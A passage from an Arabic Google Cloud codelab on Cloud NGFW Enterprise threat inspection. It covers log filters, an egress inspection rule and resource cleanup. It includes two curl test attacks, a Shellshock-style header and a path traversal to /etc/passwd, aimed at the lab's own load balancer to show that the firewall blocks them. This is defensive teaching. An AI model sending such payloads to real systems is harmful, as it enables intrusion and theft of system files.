انتقِل إلى "أمان الشبكة" >. التهديدات على Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة التحميل عدة مرات في حال عدم عرض الهجمات بعد).
اختيار إحدى الهجمات والنقر على "عرض سجلّ التدقيق" في الجانب الأيسر (يتم فتحه في علامة تبويب جديدة للرجوع إليه بسهولة). وسِّع الهجوم لإظهار التفاصيل:
بشكل اختياري، استبدل فلتر Log Explorer (مستكشف السجلات) بالطلب أدناه:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
يجب عرض إدخالات سجلّ التهديدات على النحو التالي:
يمكن التحقّق من حزَم جدار الحماية التي تم اعتراضها في Cloud Firewall باستخدام فلتر "Log Explorer" (مستكشف السجلّ) أدناه (يساعدك ذلك في أغراض تحديد المشاكل وحلّها):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"
يمكنك المتابعة إلى فحص حركة المرور على الإنترنت (اختياري) أو إغلاق جلسة بروتوكول النقل الآمن (SSH) والانتقال إلى الفصل التالي لخطوات التنظيف.
[اختياري] فحص حركة المرور على الإنترنت
وكما تم التحقق منه في القسم السابق، فإن التدفقات التي تم فحصها حتى الآن تشمل الشبكة الفرعية/VPC (الشرق-الغربي) وحركة البيانات الواردة من الإنترنت (الواردة من الشمال إلى الجنوب). يمكن أيضًا ضبط Cloud NGFW Enterprise لفحص جميع حركة البيانات على الإنترنت (خارجية من الشمال إلى الجنوب) من خلال إنشاء قاعدة خروج جديدة باستخدام Cloud Shell:
gcloud compute network-firewall-policies rules create 10000 \ --description "inspect all egress internet traffic from clients" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=EGRESS \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
عليك التبديل مرة أخرى إلى الجهاز الافتراضي للعميل وإعادة إرسال الهجمات العالية الخطورة إلى عنوان IP للخادم الخارجي:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3 curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
المخرجات المتوقعة:
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received
انتقِل إلى علامة التبويب "التهديدات" على Cloud Console للتحقّق من السجلات (قد تحتاج إلى إعادة التحميل عدة مرات). كان من المفترض تحديد الهجمات وتسجيلها مرة أخرى، ولكن الآن عنوان IP المصدر داخلي لأنّه يتم تفعيل قاعدة الخروج أولاً:
أغلِق جلسة بروتوكول النقل الآمن (SSH) وانتقِل إلى القسم التالي للتعرّف على خطوات التنظيف.
8. خطوات التنظيف
تنظيف مكونات Cloud NGFW Enterprise
إدراج ارتباطات حالية في Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations list
حذف ربط Cloud NGFW Enterprise:
gcloud network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list
إدراج نقاط نهاية Cloud NGFW Enterprise الحالية:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
احذف نقطة نهاية Cloud NGFW Enterprise، التي قد تستغرق حوالي 20 دقيقة:
gcloud -q network-security firewall-endpoints delete \ $org_prefix-$zone --zone=$zone --organization $org_id
تأكَّد من حذف Cloud NGFW Enterprise من خلال تنفيذ الأمر أدناه:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
حذف مجموعة الملفات الشخصية للأمان والملف الشخصي لمنع التهديدات:
gcloud -q network-security security-profile-groups delete \ $org_prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $org_prefix-sp-threat \ --organization $org_id \ --location=global
تنظيف عملية إعداد الأساس
يُرجى المتابعة إلى الخطوة التالية إذا كنت تفضِّل حذف الموارد الأساسية.
حدد متغيرات البيئة إذا لزم الأمر. من Cloud Shell، احذف مكوِّنات جهاز موازنة حمل الشبكة:
gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region gcloud -q compute backend-services delete $prefix-nlb-bes --region $region gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone
إزالة النُسخ الافتراضية:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
يمكنك اختياريًا تنفيذ الخطوات التالية في حال تغيير دورَي TagAdmin وtagUsers:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
إزالة مفتاح العلامة وقيمها:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
احذف سياسة شبكة جدار الحماية على Cloud والاقتران بها:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
حذف Cloud Router وCloud NAT:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
حذف عناوين IP المحجوزة:
gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
أخيرًا، احذف الشبكة الفرعية وشبكة VPC:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
9. تهانينا!
تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز الخاص بأداة فحص Cloud NGFW Enterprise في الشرق والغرب والشمال والجنوب.